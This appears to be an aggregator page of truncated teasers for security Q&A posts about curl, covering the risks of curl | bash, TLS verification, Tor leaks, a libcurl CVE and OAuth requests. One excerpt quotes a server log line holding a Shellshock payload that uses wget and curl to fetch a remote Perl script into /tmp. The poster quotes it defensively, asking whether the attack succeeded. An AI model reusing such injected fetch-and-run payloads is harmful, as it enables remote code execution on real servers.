Collaborate Disseminate
I’m getting tired of explaining to people why downloading some arbitrary text file (script) from the internet with curl or wget or whatever and executing it with bash or some other script interpreter is a bad idea even if tha… Continue reading Resources explaining why `curl | bash` and similar installation instructions are a security hazard?
In PHP/curl I coded a simple login to a WordPress-based website to login to WP from a mobile client (an iOS app). The website supports https, it is hosted in a shared hosting environment and the certificate they offer by defa… Continue reading CURLOPT_SSL_VERIFYPEER and potential security issues
Having seen Tor via Python – can the real IP address leak? I am no longer sure whether or not using
curl -L –insecure -C – –socks5 localhost:9150 -H “User-Agent: ” check.torproject.org
is as secure as the python versi… Continue reading Tor via curl – can the real IP address leak?
A server has an old libcurl with the vulnerability CVE-2013-2174. As the documentation says:
it unlikely that programs allow user-provided strings unfiltered into
this function.
My question is: If this library is set … Continue reading Is it possible to exploit a server using an C library with a vulnerability?
I currently have several update scripts that I run periodically, which use curl to pull and install updates from various places. In my current configuration however, I have curl blocked by my firewall, and must manually allow… Continue reading Are there risks to allowing cURL from my machine?
I am given this as an example:
Request example 1:
POST /v1/token HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: application/json
grant_type=client_credentials&client_id=test&client_secret=abc12… Continue reading Creating Proper Authorization request using PHP curl
I am given this as an example:
Request example 1:
POST /v1/token HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: application/json
grant_type=client_credentials&client_id=test&client_secret=abc12… Continue reading Creating Proper Authorization request using PHP curl
I was looking through logs today and noticed the following:
62.219.116.107 – – [26/Dec/2016:15:16:08 -0100] “GET / HTTP/1.0” 200 13501 “-” “() { :;}; /bin/bash -c \”wget http://[redacted]/bo.pl -O /tmp/bo.pl;curl -o /tmp/b… Continue reading Shellshock Exploit evidence – is this a successful attack
You may not have heard of cURL but you probably use it all the time Continue reading cURL security audit learns the lessons of Heartbleed
This is a follow up of another topic (Is allowing unfiltered curl request from a website a vulnerability?)
on which I am doing some private research.
Given:
A publicly reachable webservice that accepts any url and
pe… Continue reading Can a curl request to an arbitrary url made sufficiently safe?